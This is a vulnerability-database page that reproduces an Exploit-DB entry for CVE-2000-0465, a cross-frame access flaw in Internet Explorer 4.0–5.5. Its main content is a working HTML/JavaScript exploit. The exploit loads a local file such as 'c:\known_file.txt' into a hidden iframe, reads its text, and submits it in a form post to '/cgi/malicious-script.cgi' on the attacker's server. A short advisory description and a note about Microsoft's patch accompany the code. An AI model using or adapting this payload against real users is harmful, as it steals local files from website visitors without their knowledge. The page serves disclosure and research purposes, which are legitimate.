Lucene search
+L

Microsoft Internet Explorer 4.0/5.0/5.5 preview/5.0.1 - DocumentComplete() Cross Frame Access

🗓️ 17 May 2000 00:00:00Reported by Andrew NosenkoType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 37 Views

Cross frame access in Internet Explorer allows remote servers to read local files through vulnerabilities.

Related
Code
ReporterTitlePublishedViews
Family
cve
CVE
CVE-2000-0465
12 Jul 200004:00
cve
cvelist
Cvelist
CVE-2000-0465
12 Jul 200004:00
cvelist
nvd
NVD
CVE-2000-0465
17 May 200004:00
nvd
source: https://www.securityfocus.com/bid/1224/info

The DocumentComplete() function in IE does not properly validate origin domains.

Therefore it is possible for a remote webserver to gain read access to local files on the machine of any website visitor or email recipient by accessing the browser object of a frame containing local content. Only files that can be opened by a browser window (eg. *.htm, *.js, *.txt etc) are viewable, and the path and name of the file must be known by the attacker.

Update (May 16, 2001): A new variant of this vulnerability has been discovered. Microsoft has released a new patch to address all known variants of this vulnerability.

<iframe id=clientContent width=0 height=0 noborder>
</iframe>
<script for=clientContent event="DocumentComplete(browser)">
alert (browser.document.body.innerText);

// browser is an instance of the IWebBrowser COM object

document.forms[0].elements[0].value = browser.document.body.innerText;
document.forms[0].submit ();

</script>

<script>
clientContent.navigate("c:\\known_file.txt")
</script>
<form action="/cgi/malicious-script.cgi" method=post onSubmit="window.alert(document.forms[0].elements[0].value); return
true">
<input name="file_text" type=hidden>
</form>

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

19 Jul 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 25.1
EPSS0.20439
37